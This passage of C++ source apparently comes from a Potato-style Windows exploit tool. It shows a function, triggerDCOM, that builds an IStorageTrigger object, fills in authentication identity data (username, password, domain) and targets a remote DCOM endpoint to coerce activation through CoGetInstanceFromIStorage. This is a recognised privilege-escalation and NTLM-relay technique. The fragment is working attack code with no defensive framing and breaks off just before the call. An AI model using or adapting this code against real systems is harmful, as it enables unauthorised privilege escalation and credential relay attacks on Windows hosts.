| 182 | } |
| 183 | |
| 184 | int PotatoAPI::triggerDCOM(void) |
| 185 | { |
| 186 | CoInitialize(nullptr); |
| 187 | |
| 188 | //Create IStorage object |
| 189 | IStorage *stg = NULL; |
| 190 | ILockBytes *lb = NULL; |
| 191 | HRESULT res; |
| 192 | |
| 193 | res = CreateILockBytesOnHGlobal(NULL, true, &lb); |
| 194 | res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); |
| 195 | |
| 196 | //Initialze IStorageTrigger object |
| 197 | IStorageTrigger* t = new IStorageTrigger(stg); |
| 198 | |
| 199 | CLSID clsid; |
| 200 | CLSIDFromString(olestr, &clsid); |
| 201 | CLSID tmp; |
| 202 | //IUnknown IID |
| 203 | CLSID CLSID_ComActivator; |
| 204 | //IUnknown IID |
| 205 | CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); |
| 206 | //ComActivator CLSID |
| 207 | CLSIDFromString(OLESTR("{0000033C-0000-0000-c000-000000000046}"), &CLSID_ComActivator); |
| 208 | |
| 209 | CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp); |
| 210 | MULTI_QI qis[1]; |
| 211 | qis[0].pIID = &tmp; |
| 212 | qis[0].pItf = NULL; |
| 213 | qis[0].hr = 0; |
| 214 | //Call CoGetInstanceFromIStorage |
| 215 | COAUTHINFO ca = { 0 }; |
| 216 | ca.dwAuthnSvc = RPC_C_AUTHN_WINNT; |
| 217 | ca.dwAuthzSvc = RPC_C_AUTHZ_NONE; |
| 218 | ca.dwAuthnLevel = RPC_C_AUTHN_LEVEL_DEFAULT; |
| 219 | ca.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE; |
| 220 | COAUTHIDENTITY id = { 0 }; |
| 221 | ca.pAuthIdentityData = &id; |
| 222 | id.User = (USHORT*)username; |
| 223 | id.UserLength = wcslen(username); |
| 224 | id.Password = (USHORT*)password; |
| 225 | id.PasswordLength = wcslen(password);; |
| 226 | id.Domain = (USHORT*)domain; |
| 227 | id.DomainLength = wcslen(domain); |
| 228 | id.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; |
| 229 | |
| 230 | COSERVERINFO c = { 0 }; |
| 231 | c.pwszName = wdcom_ip; |
| 232 | c.pAuthInfo = &ca; |
| 233 | |
| 234 | CoInitialize(0); |
| 235 | CoInitializeEx(0, COINIT_APARTMENTTHREADED); |
| 236 | CoInitializeSecurity(0, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); |
| 237 | HRESULT status=0; |
| 238 | std::string message = std::system_category().message(status); |
| 239 | |
| 240 | |
| 241 | printf("[*] Calling CoGetInstanceFromIStorage with CLSID:%S on remote endpoint:%S\n", olestr, wdcom_ip); |